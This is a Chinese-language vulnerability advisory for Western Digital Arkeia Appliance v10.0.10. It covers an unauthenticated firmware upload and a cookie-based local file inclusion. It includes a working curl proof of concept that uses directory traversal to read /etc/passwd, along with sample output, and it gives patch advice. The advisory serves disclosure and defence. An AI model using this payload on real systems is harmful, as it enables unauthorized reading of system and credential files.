发布日期：2013-09-17
更新日期：2013-09-21

受影响系统：

Arkeia Arkeia v10.0.10

描述：

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BUGTRAQ  ID: 62444

Western Digital Arkeia是网络备份解决方案。

Arkeia 10.0.10及之前版本没有正确验证"lang" cookie参数，这可使攻击者利用目录遍历序列包含任意文件，然后获取任意文件的内容。

<*来源：xistence （xistence@0x90.nl）
  
  链接：http://secunia.com/advisories/54866/
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

###################################################################################################################################
# Exploit Title: Western Digital Arkeia Appliance v10.0.10
# Date: Sep 17 2013
# Exploit Author: xistence < xistence[at]0x90[.]nl >
# Vendor Homepage: www.arkeia.com
# Tested on: Virtual Appliance - ESXi 5.1
# Affected Version : v10.0.10 and lower
# Link: ftp://ftp.arkeia.com/arkeia-virtual-appliance/vmware-virtual-appliance/full-virtual-appliance/arkeia_virtual_appliance-10.0.10.zip
# Fix: Upgrade to version 10.1.10
#
###################################################################################################################################

Arkeia Appliance v10.0.10 is prone to 2 security vulnerabilties:

1) Unauthenticated firmware upload

There are no restrictions when a POST request is send to http://<IP>/scripts/upload.php thus allowing any
unauthenticated client to upload any data to the /tmp/ApplianceUpdate file.

2) Local File Inclusion (LFI) vulnerability in the cookie "lang="

By sending a request (without the need for authentication) to the homepage of the appliance with a cookie "lang=../../../../../../../../../../../../../../../../etc/passwd%00",
it's possible to read files on the server, in this example /etc/passwd.

Proof of Concept
Run the following command:
curl --cookie "lang=../../../../../../../../../../../../../../../../etc/passwd%00" http://<IP>/

Which will return the /etc/passwd:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
[..snip..]

建议：

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厂商补丁：

Arkeia
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

www.arkeia.com

参考：http://www.exploit-db.com/exploits/28330/

浏览次数：1490
严重程度：0（网友投票）